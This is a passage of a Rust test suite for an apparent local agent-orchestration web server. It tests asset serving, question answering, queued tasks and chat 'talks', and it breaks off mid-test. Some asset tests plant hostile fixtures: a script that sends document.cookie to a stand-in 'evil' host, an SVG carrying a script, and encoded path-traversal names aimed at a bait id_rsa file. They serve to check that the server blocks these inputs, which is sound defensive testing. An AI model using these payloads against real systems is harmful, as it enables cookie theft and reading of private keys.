4606 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4607 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4608 let id = panel(
4609 &fx,
4610 "<img src=\"diff.svg\"><img src=\"shot.png\">",
4611 &[("diff.svg", svg), ("shot.png", png)],
4612 );
4613
4614 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4615 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4616
4617 assert_eq!(as_svg.status, 200);
4618 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4619 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4624
4625 assert_eq!(as_png.status, 200);
4626 assert_eq!(as_png.header("content-type"), Some("image/png"));
4627 assert_eq!(
4628 as_png.header("content-disposition"),
4629 None,
4630 "a raster image has no execution surface, so tapping it still shows it"
4631 );
4632 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4633 }
4634
4635 #[tokio::test]
4636 async fn an_html_asset_is_never_served_as_html() {
4637 let fx = Fixture::start().await;
4638 let id = panel(
4639 &fx,
4640 "<p>see the notes</p>",
4641 &[
4642 (
4643 "notes.html",
4644 b"<script>fetch('http://evil/'+document.cookie)</script>",
4645 ),
4646 ("hook.js", b"fetch('http://evil/')"),
4647 ("data.json", b"{}"),
4648 ("HEADLINE.TXT", b"plain"),
4649 ],
4650 );
4651
4652 for name in ["notes.html", "hook.js", "data.json"] {
4653 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4654 assert_eq!(res.status, 200, "{name}: {}", res.body);
4655 assert_eq!(
4660 res.header("content-type"),
4661 Some("application/octet-stream"),
4662 "{name} must not be a type the browser will execute or render"
4663 );
4664 }
4665 let txt = fx
4668 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4669 .await;
4670 assert_eq!(
4671 txt.header("content-type"),
4672 Some("text/plain; charset=utf-8")
4673 );
4674 }
4675
4676 #[tokio::test]
4677 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4678 let fx = Fixture::start().await;
4679 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4680 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4684
4685 for encoded in [
4692 "%2e%2e%2fid_rsa",
4693 "..%2fid_rsa",
4694 "..%5cid_rsa",
4695 "%2e%2e%5cid_rsa",
4696 "diff%00.svg",
4697 "..",
4698 ".hidden",
4699 "%2e%2e%2f%2e%2e%2fid_rsa",
4700 ] {
4701 let res = fx
4702 .get(&format!("/api/questions/{id}/asset/{encoded}"))
4703 .await;
4704 assert_eq!(
4705 res.status, 400,
4706 "`{encoded}` has to be refused by name, not looked up: {}",
4707 res.body
4708 );
4709 assert!(res.json()["error"].is_string(), "{}", res.body);
4710 }
4711
4712 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4718 let res = fx
4719 .get(&format!("/api/questions/{id}/asset/{literal}"))
4720 .await;
4721 assert_eq!(
4722 res.status, 404,
4723 "`{literal}` must not match the asset route at all: {}",
4724 res.body
4725 );
4726 }
4727 }
4728
4729 #[tokio::test]
4730 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4731 let fx = Fixture::start().await;
4732 let plain = ask(&fx, "Which backend?", &["SQLite"]);
4733 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4734
4735 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4739 assert_eq!(none.status, 404, "{}", none.body);
4740 assert!(none.json()["error"].is_string(), "{}", none.body);
4741 assert_eq!(
4742 fx.head(&format!("/api/questions/{plain}/panel"))
4743 .await
4744 .status,
4745 404,
4746 "the preflight is the only way the client can learn this"
4747 );
4748
4749 let missing = fx
4751 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4752 .await;
4753 assert_eq!(missing.status, 404, "{}", missing.body);
4754 assert!(missing.json()["error"].is_string(), "{}", missing.body);
4755
4756 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4758 assert_eq!(
4759 fx.get("/api/questions/nope/asset/diff.svg").await.status,
4760 404
4761 );
4762 }
4763
4764 #[tokio::test]
4765 async fn a_run_with_an_open_question_reads_as_waiting() {
4766 let fx = Fixture::start().await;
4767 let run = "20260902-000000-beef".to_owned();
4768 write_run(&fx.runs(), &run, RunStatus::Implementing);
4769
4770 let before = fx.get("/api/runs").await.json();
4771 assert_eq!(before[0]["waiting"], false, "{before}");
4772
4773 let store = fx.questions();
4774 let mut q = Question::new(
4775 run.clone(),
4776 "implement".to_owned(),
4777 "impl-A".to_owned(),
4778 "Which backend?".to_owned(),
4779 String::new(),
4780 vec!["SQLite".to_owned()],
4781 );
4782 store.put(&mut q).expect("put");
4783
4784 let during = fx.get("/api/runs").await.json();
4785 assert_eq!(during[0]["waiting"], true, "{during}");
4786
4787 q.answer(Answer::Choice("SQLite".to_owned()))
4790 .expect("answer");
4791 store.put(&mut q).expect("put");
4792 let after = fx.get("/api/runs").await.json();
4793 assert_eq!(after[0]["waiting"], false, "{after}");
4794 }
4795
4796 #[tokio::test]
4797 async fn an_open_question_is_listed_and_counted_by_health() {
4798 let fx = Fixture::start().await;
4799 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4800
4801 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4802 let listed = fx.get("/api/questions").await.json();
4803 assert_eq!(listed.as_array().expect("array").len(), 1);
4804 assert_eq!(listed[0]["id"], id);
4805 assert_eq!(listed[0]["status"], "open");
4806 assert_eq!(listed[0]["choices"][1], "Redis");
4807 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4810 }
4811
4812 #[tokio::test]
4813 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4814 let fx = Fixture::start().await;
4815 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4816 let path = format!("/api/questions/{id}/answer");
4817
4818 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4819 assert_eq!(res.status, 200, "{}", res.body);
4820 let body = res.json();
4821 assert_eq!(body["status"], "answered");
4822 assert_eq!(body["answer"]["choice"], "Redis");
4823
4824 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4828 assert_eq!(again.status, 409, "{}", again.body);
4829 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4830 }
4831
4832 #[tokio::test]
4833 async fn saying_something_appends_a_turn_without_answering() {
4834 let fx = Fixture::start().await;
4835 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4836 let path = format!("/api/questions/{id}/say");
4837
4838 let res = fx
4839 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
4840 .await;
4841 assert_eq!(res.status, 200, "{}", res.body);
4842 let body = res.json();
4843 assert_eq!(body["status"], "open", "talking back is not a decision");
4844 assert_eq!(body["answer"], Value::Null);
4845 assert_eq!(body["thread"][0]["who"], "operator");
4846 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
4847 assert_eq!(body["waiting_on_agent"], true);
4848 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4850 }
4851
4852 #[tokio::test]
4853 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
4854 let fx = Fixture::start().await;
4855 let store = fx.questions();
4856 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4857 assert_eq!(
4858 fx.get("/api/health").await.json()["questions_needs_owner"],
4859 1
4860 );
4861
4862 let res = fx
4868 .post(
4869 &format!("/api/questions/{id}/say"),
4870 Some(r#"{"body":"why not Postgres?"}"#),
4871 )
4872 .await;
4873 assert_eq!(res.status, 200, "{}", res.body);
4874 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4875 assert_eq!(
4876 fx.get("/api/health").await.json()["questions_needs_owner"],
4877 0,
4878 "waiting on the agent is not waiting on the owner"
4879 );
4880
4881 let mut q = store.get(&id).expect("get");
4885 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
4886 .expect("reply");
4887 store.put(&mut q).expect("put");
4888 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4889 assert_eq!(
4890 fx.get("/api/health").await.json()["questions_needs_owner"],
4891 1,
4892 "the agent's reply is what should light the banner back up"
4893 );
4894 }
4895
4896 #[tokio::test]
4897 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
4898 let fx = Fixture::start().await;
4899 let store = fx.questions();
4900
4901 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4902 let res = fx
4903 .post(
4904 &format!("/api/questions/{empty_id}/say"),
4905 Some(r#"{"body":" "}"#),
4906 )
4907 .await;
4908 assert_eq!(res.status, 400, "{}", res.body);
4909
4910 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4911 let mut answered = store.get(&answered_id).expect("get");
4912 answered
4913 .answer(Answer::Choice("SQLite".to_owned()))
4914 .expect("answer");
4915 store.put(&mut answered).expect("put");
4916 let res = fx
4917 .post(
4918 &format!("/api/questions/{answered_id}/say"),
4919 Some(r#"{"body":"still there?"}"#),
4920 )
4921 .await;
4922 assert_eq!(res.status, 409, "{}", res.body);
4923
4924 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4925 let mut abandoned = store.get(&abandoned_id).expect("get");
4926 abandoned.abandon("timed out");
4927 store.put(&mut abandoned).expect("put");
4928 let res = fx
4929 .post(
4930 &format!("/api/questions/{abandoned_id}/say"),
4931 Some(r#"{"body":"still there?"}"#),
4932 )
4933 .await;
4934 assert_eq!(res.status, 409, "{}", res.body);
4935 }
4936
4937 #[tokio::test]
4938 async fn an_answer_the_question_does_not_offer_is_refused() {
4939 let fx = Fixture::start().await;
4940 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4941 let path = format!("/api/questions/{id}/answer");
4942
4943 for body in [
4944 r#"{"choice":"Postgres"}"#,
4945 r#"{"text":"whatever you think"}"#,
4946 r#"{"choice":"Redis","text":"both"}"#,
4947 r#"{}"#,
4948 ] {
4949 let res = fx.post(&path, Some(body)).await;
4950 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
4951 assert!(res.json()["error"].is_string(), "{}", res.body);
4952 }
4953 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4955 }
4956
4957 #[tokio::test]
4958 async fn a_free_text_question_takes_text_and_not_a_choice() {
4959 let fx = Fixture::start().await;
4960 let id = ask(&fx, "What should the flag be called?", &[]);
4961 let path = format!("/api/questions/{id}/answer");
4962
4963 assert_eq!(
4964 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
4965 400
4966 );
4967 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
4968 assert_eq!(res.status, 200, "{}", res.body);
4969 assert_eq!(res.json()["answer"]["text"], "--json");
4970 }
4971
4972 #[tokio::test]
4973 async fn an_unknown_question_is_a_json_404() {
4974 let fx = Fixture::start().await;
4975 let res = fx
4976 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
4977 .await;
4978 assert_eq!(res.status, 404, "{}", res.body);
4979 assert!(res.json()["error"].is_string());
4980 }
4981
4982 #[tokio::test]
4989 async fn a_task_cannot_be_filed_over_the_phone_directly() {
4990 let f = Fixture::start().await;
4991
4992 let res = f
4993 .post(
4994 "/api/queue",
4995 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
4996 )
4997 .await;
4998
4999 assert_eq!(
5000 res.status, 405,
5001 "POST /api/queue must not be a route: {}",
5002 res.body
5003 );
5004 assert!(
5005 f.queue().list().is_empty(),
5006 "a task filed by a route that does not exist must not reach the disk"
5007 );
5008 assert_eq!(f.get("/api/queue").await.status, 200);
5011 }
5012
5013 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5015 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5016 .expect("checkout dir");
5017 }
5018
5019 #[tokio::test]
5020 async fn repos_list_returns_name_and_path_for_every_configured_root() {
5021 let tmp = TempDir::new().expect("tempdir");
5022 let repo = tmp.path().join("repo");
5023 std::fs::create_dir_all(&repo).expect("repo dir");
5024 let root = tmp.path().join("root");
5025 make_checkout(&root, "github.com", "yukimemi", "magi");
5026 std::fs::write(
5027 repo.join("magi.toml"),
5028 format!(
5029 "[repos]\nroots = [{:?}]\n",
5030 root.to_string_lossy().into_owned()
5031 ),
5032 )
5033 .expect("write magi.toml");
5034
5035 let f = Fixture::with_repo(repo).await;
5036 let res = f.get("/api/repos").await;
5037 assert_eq!(res.status, 200, "{}", res.body);
5038 let list = res.json();
5039 let repos = list.as_array().expect("an array");
5040 assert_eq!(repos.len(), 1);
5041 assert_eq!(repos[0]["name"], "yukimemi/magi");
5042 assert!(
5043 repos[0]["path"]
5044 .as_str()
5045 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5046 "{list}"
5047 );
5048 }
5049
5050 #[tokio::test]
5051 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5052 let tmp = TempDir::new().expect("tempdir");
5053 let repo = tmp.path().join("repo");
5054 std::fs::create_dir_all(&repo).expect("repo dir");
5055 let root = tmp.path().join("root");
5056 make_checkout(&root, "github.com", "yukimemi", "magi");
5057 std::fs::write(
5058 repo.join("magi.toml"),
5059 format!(
5060 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5061 root.to_string_lossy().into_owned()
5062 ),
5063 )
5064 .expect("write magi.toml");
5065
5066 let f = Fixture::with_repo(repo).await;
5067 let first = f.get("/api/repos").await;
5068 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5069
5070 make_checkout(&root, "github.com", "yukimemi", "rvpm");
5073 let second = f.get("/api/repos").await;
5074 assert_eq!(
5075 second.json().as_array().map(Vec::len),
5076 Some(1),
5077 "a fresh cache must not rescan inside the TTL"
5078 );
5079
5080 let refreshed = f.get("/api/repos?refresh=1").await;
5081 assert_eq!(
5082 refreshed.json().as_array().map(Vec::len),
5083 Some(2),
5084 "an explicit refresh must rescan even inside the TTL"
5085 );
5086 }
5087
5088 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5094
5095 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5099 let tmp = TempDir::new().expect("tempdir");
5100 let repo = tmp.path().join("repo");
5101 std::fs::create_dir_all(&repo).expect("repo dir");
5102 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5103 let f = Fixture::with_repo(repo.clone()).await;
5104 (tmp, repo, f)
5105 }
5106
5107 #[tokio::test]
5108 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5109 let (_tmp, _repo, f) = talk_fixture().await;
5110
5111 let opened = f.post("/api/talks", None).await;
5114 assert_eq!(opened.status, 201, "{}", opened.body);
5115 let body = opened.json();
5116 assert_eq!(body["status"], "open");
5117 assert_eq!(
5118 body["turns"].as_array().unwrap().len(),
5119 0,
5120 "opening takes no agent turn: there is nothing yet to answer"
5121 );
5122
5123 let also_opened = f.post("/api/talks", Some("{}")).await;
5125 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5126
5127 let listed = f.get("/api/talks").await.json();
5128 assert_eq!(listed.as_array().unwrap().len(), 2);
5129 }
5130
5131 #[tokio::test]
5132 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5133 let f = Fixture::start().await;
5134 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5135 let queue = f.queue();
5136 let mut mine = Task::new(
5137 "rename the loader".to_owned(),
5138 "rename the loader".to_owned(),
5139 PathBuf::from("/repo/magi"),
5140 Source::Agent {
5141 run: talk_id.clone(),
5142 node: "chat".to_owned(),
5143 },
5144 );
5145 queue.put(&mut mine).expect("file the task");
5146 let mut theirs = Task::new(
5147 "unrelated".to_owned(),
5148 "unrelated".to_owned(),
5149 PathBuf::from("/repo/magi"),
5150 Source::Human,
5151 );
5152 queue.put(&mut theirs).expect("file the task");
5153
5154 let res = f.get(&format!("/api/talks/{talk_id}")).await;
5155 assert_eq!(res.status, 200, "{}", res.body);
5156 let body = res.json();
5157 assert_eq!(
5158 body["status"], "open",
5159 "filing a task does not close a talk"
5160 );
5161 let tasks = body["tasks"].as_array().expect("tasks array");
5162 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5163 assert_eq!(tasks[0]["id"], mine.id);
5164 }
5165
5166 #[tokio::test]
5167 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5168 let (_tmp, _repo, f) = talk_fixture().await;
5169 let id = f.post("/api/talks", None).await.json()["id"]
5170 .as_str()
5171 .expect("id")
5172 .to_owned();
5173
5174 let res = f
5175 .post(
5176 &format!("/api/talks/{id}/say"),
5177 Some(r#"{"text":"what does the queue module do?"}"#),
5178 )
5179 .await;
5180 assert_eq!(res.status, 202, "{}", res.body);
5181 let queued = res.json();
5182 let turns = queued["turns"].as_array().expect("turns array");
5183 assert_eq!(
5184 turns.len(),
5185 1,
5186 "the answer reflects only what is on disk the instant it is sent, \
5187 before the agent's turn - which can run for the whole of \
5188 `[graph] timeout_talk` - has a chance to land: {queued}"
5189 );
5190 assert_eq!(turns[0]["who"], "operator");
5191 assert_eq!(turns[0]["body"], "what does the queue module do?");
5192 assert_eq!(
5193 queued["thinking"], true,
5194 "the accepted response exposes the background turn claim: {queued}"
5195 );
5196
5197 let mut turns_after = 1;
5198 for _ in 0..200 {
5199 let detail = f.get(&format!("/api/talks/{id}")).await.json();
5200 turns_after = detail["turns"].as_array().expect("turns array").len();
5201 if turns_after == 2 {
5202 break;
5203 }
5204 tokio::time::sleep(Duration::from_millis(10)).await;
5205 }
5206 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5207 }
5208
5209 #[tokio::test]
5236 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
5237 let tmp = TempDir::new().expect("tempdir");
5238 let repo = tmp.path().join("repo");
5239 std::fs::create_dir_all(&repo).expect("repo dir");
5240 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5241 let home = TempDir::new().expect("temp home");
5242 let talks = Talks::at(home.path().join("talks"));
5243 let ui = Arc::new(
5244 Ui::new(
5245 Queue::at(home.path().join("queue")),
5246 Questions::at(home.path().join("questions")),
5247 talks.clone(),
5248 home.path().join("runs"),
5249 home.path().to_path_buf(),
5250 repo.clone(),
5251 )
5252 .with_worktrees_root(home.path().join("wt")),
5253 );
5254 let cfg = config_for(&repo).await.expect("discover config");
5255
5256 for delay in 0..40u32 {
5257 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5258 let id = talk.id.clone();
5259
5260 let handler = tokio::spawn(talk_say(
5261 State(Arc::clone(&ui)),
5262 Path(id.clone()),
5263 Ok(Json(NewTalkTurn {
5264 text: "what does the queue module do?".to_owned(),
5265 attachments: Vec::new(),
5266 })),
5267 ));
5268 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
5269 handler.abort();
5270 let _ = handler.await;
5273
5274 let mut turns = 0;
5275 for _ in 0..200 {
5276 if let Ok(fresh) = talks.get(&id) {
5277 turns = fresh.turns.len();
5278 if turns != 1 {
5279 break;
5280 }
5281 }
5282 tokio::time::sleep(Duration::from_millis(10)).await;
5283 }
5284 assert_ne!(
5285 turns, 1,
5286 "delay {delay}: talk {id} recorded the operator's turn but \
5287 the agent never answered - the reply task was never \
5288 started after the handler future was dropped"
5289 );
5290 }
5291 }
5292
5293 #[tokio::test]
5315 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
5316 async fn drive<F: std::future::Future>(fut: &mut std::pin::Pin<Box<F>>, max_polls: usize) {
5318 if max_polls == 0 {
5319 return;
5320 }
5321 let mut polls = 0usize;
5322 std::future::poll_fn(|cx| {
5323 polls += 1;
5324 match fut.as_mut().poll(cx) {
5325 std::task::Poll::Ready(_) => std::task::Poll::Ready(()),
5326 std::task::Poll::Pending if polls >= max_polls => std::task::Poll::Ready(()),
5327 std::task::Poll::Pending => std::task::Poll::Pending,
5328 }
5329 })
5330 .await;
5331 }
5332
5333 let tmp = TempDir::new().expect("tempdir");
5334 let repo = tmp.path().join("repo");
5335 std::fs::create_dir_all(&repo).expect("repo dir");
5336 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5337 let home = TempDir::new().expect("temp home");
5338 let talks = Talks::at(home.path().join("talks"));
5339 let ui = Arc::new(
5340 Ui::new(
5341 Queue::at(home.path().join("queue")),
5342 Questions::at(home.path().join("questions")),
5343 talks.clone(),
5344 home.path().join("runs"),
5345 home.path().to_path_buf(),
5346 repo.clone(),
5347 )
5348 .with_worktrees_root(home.path().join("wt")),
5349 );
5350 let cfg = config_for(&repo).await.expect("discover config");
5351
5352 for polls_after_release in 1..=3usize {
5353 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5354 let id = talk.id.clone();
5355 let turn_guard = ui
5358 .begin_talk_turn(&id)
5359 .expect("claim the turn")
5360 .expect("a fresh talk owes nobody a turn");
5361
5362 let mut handler = Box::pin(talk_say(
5363 State(Arc::clone(&ui)),
5364 Path(id.clone()),
5365 Ok(Json(NewTalkTurn {
5366 text: "what does the queue module do?".to_owned(),
5367 attachments: Vec::new(),
5368 })),
5369 ));
5370 drive(&mut handler, 4).await;
5376 tokio::time::sleep(Duration::from_millis(50)).await;
5377 let running = talks.get(&id).expect("reload talk");
5383 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
5384 drive(&mut handler, polls_after_release).await;
5387 drop(handler);
5388
5389 let mut fresh = talks.get(&id).expect("reload talk");
5395 for _ in 0..200 {
5396 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
5397 break;
5398 }
5399 tokio::time::sleep(Duration::from_millis(10)).await;
5400 fresh = talks.get(&id).expect("reload talk");
5401 }
5402 assert!(
5403 fresh.pending.is_empty() && fresh.turns.len() == 2,
5404 "polls {polls_after_release}: talk {id} left the operator's \
5405 text queued with no drainer - the reclaimed turn was dropped \
5406 along with the handler future (pending {:?}, {} turns)",
5407 fresh.pending,
5408 fresh.turns.len()
5409 );
5410 }
5411 }
5412
5413 #[tokio::test]
5414 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
5415 let (_tmp, _repo, f) = talk_fixture().await;
5416 let id = f.post("/api/talks", None).await.json()["id"]
5417 .as_str()
5418 .expect("id")
5419 .to_owned();
5420 let store = f.talks();
5421 let mut recovered = store.get(&id).expect("opened talk");
5422 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5423 .expect("persist pending draft without a live turn");
5424
5425 let edited = f
5426 .post(
5427 &format!("/api/talks/{id}/pending/edit"),
5428 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
5429 )
5430 .await;
5431 assert_eq!(edited.status, 200, "{}", edited.body);
5432 assert!(edited.json()["thinking"].as_bool().unwrap());
5433
5434 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
5435 for _ in 0..200 {
5436 if detail["turns"].as_array().expect("turns").len() == 2 {
5437 break;
5438 }
5439 tokio::time::sleep(Duration::from_millis(10)).await;
5440 detail = f.get(&format!("/api/talks/{id}")).await.json();
5441 }
5442 let turns = detail["turns"].as_array().expect("turns");
5443 assert_eq!(
5444 turns.len(),
5445 2,
5446 "the recovered draft must run once: {detail}"
5447 );
5448 assert_eq!(turns[0]["body"], "corrected");
5449 assert_eq!(detail["pending"], "");
5450 }
5451
5452 #[tokio::test]
5453 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
5454 let tmp = TempDir::new().expect("tempdir");
5455 let repo = tmp.path().join("repo");
5456 std::fs::create_dir_all(&repo).expect("repo dir");
5457 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5458 let f = Fixture::with_repo(repo).await;
5459 let id = f.post("/api/talks", None).await.json()["id"]
5460 .as_str()
5461 .expect("id")
5462 .to_owned();
5463 let store = f.talks();
5464 let mut recovered = store.get(&id).expect("opened talk");
5465 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5466 .expect("persist pending draft without a live turn");
5467
5468 let refused = f
5469 .post(
5470 &format!("/api/talks/{id}/say"),
5471 Some(r#"{"text":"new message"}"#),
5472 )
5473 .await;
5474 assert_eq!(refused.status, 409, "{}", refused.body);
5475 assert!(refused.body.contains("resume"), "{}", refused.body);
5476 let saved = store.get(&id).expect("draft remains after refusal");
5477 assert!(saved.turns.is_empty());
5478 assert_eq!(saved.pending, "saved before restart");
5479
5480 let say_path = format!("/api/talks/{id}/say");
5481 let (first, second) = tokio::join!(
5482 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
5483 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
5484 );
5485 assert_eq!(first.status, 409, "{}", first.body);
5486 assert_eq!(second.status, 409, "{}", second.body);
5487 let saved = store
5488 .get(&id)
5489 .expect("draft remains after concurrent refusals");
5490 assert!(saved.turns.is_empty());
5491 assert_eq!(saved.pending, "saved before restart");
5492
5493 let resumed = f
5494 .post(&format!("/api/talks/{id}/pending/resume"), None)
5495 .await;
5496 assert_eq!(resumed.status, 202, "{}", resumed.body);
5497 let duplicate = f
5498 .post(&format!("/api/talks/{id}/pending/resume"), None)
5499 .await;
5500 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
5501
5502 for _ in 0..200 {
5503 if store.get(&id).expect("talk").turns.len() == 2 {
5504 break;
5505 }
5506 tokio::time::sleep(Duration::from_millis(10)).await;
5507 }
5508 let finished = store.get(&id).expect("finished talk");
5509 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5510 assert_eq!(finished.turns[0].body, "saved before restart");
5511 assert!(finished.pending.is_empty());
5512 }
5513
5514 #[tokio::test]
5515 async fn an_image_only_recovered_draft_resumes_without_text() {
5516 let (_tmp, _repo, f) = talk_fixture().await;
5517 let id = f.post("/api/talks", None).await.json()["id"]
5518 .as_str()
5519 .expect("id")
5520 .to_owned();
5521 let uploaded = f
5522 .post_bytes(
5523 &format!("/api/talks/{id}/attachments"),
5524 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
5525 PNG_BYTES,
5526 )
5527 .await;
5528 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5529 let attachment = f
5530 .talks()
5531 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
5532 .expect("attachment metadata")
5533 .expect("stored attachment");
5534 let store = f.talks();
5535 let mut recovered = store.get(&id).expect("opened talk");
5536 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
5537
5538 let resumed = f
5539 .post(&format!("/api/talks/{id}/pending/resume"), None)
5540 .await;
5541 assert_eq!(resumed.status, 202, "{}", resumed.body);
5542 for _ in 0..200 {
5543 if store.get(&id).expect("talk").turns.len() == 2 {
5544 break;
5545 }
5546 tokio::time::sleep(Duration::from_millis(10)).await;
5547 }
5548 let finished = store.get(&id).expect("finished talk");
5549 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5550 assert!(finished.turns[0].body.is_empty());
5551 assert_eq!(finished.turns[0].attachments.len(), 1);
5552 assert!(finished.pending_attachments.is_empty());
5553 }
5554
5555 #[tokio::test]
5556 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
5557 let (_tmp, _repo, f) = talk_fixture().await;
5558 let id = f.post("/api/talks", None).await.json()["id"]
5559 .as_str()
5560 .expect("id")
5561 .to_owned();
5562 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5563 assert_eq!(closed.status, 200, "{}", closed.body);
5564 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5565 .expect("serialize closed talk");
5566 for (path, body) in [
5567 (format!("/api/talks/{id}/pending/resume"), None),
5568 (
5569 format!("/api/talks/{id}/pending/clear"),
5570 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
5571 ),
5572 (
5573 format!("/api/talks/{id}/pending/edit"),
5574 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
5575 ),
5576 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
5577 ] {
5578 let response = f.post(&path, body).await;
5579 assert_eq!(response.status, 409, "{}", response.body);
5580 }
5581 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5582 .expect("serialize closed talk");
5583 assert_eq!(
5584 after_clear, before_clear,
5585 "clear must not rewrite a closed talk"
5586 );
5587 }
5588
5589 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5592
5593 #[tokio::test]
5594 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
5595 let tmp = TempDir::new().expect("tempdir");
5596 let repo = tmp.path().join("repo");
5597 std::fs::create_dir_all(&repo).expect("repo dir");
5598 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5599 let f = Fixture::with_repo(repo).await;
5600 let id_a = f.post("/api/talks", None).await.json()["id"]
5601 .as_str()
5602 .unwrap()
5603 .to_owned();
5604 let id_b = f.post("/api/talks", None).await.json()["id"]
5605 .as_str()
5606 .unwrap()
5607 .to_owned();
5608
5609 let a = f
5610 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
5611 .await;
5612 assert_eq!(a.status, 202, "{}", a.body);
5613 assert_eq!(a.json()["thinking"], true);
5614 let b = f
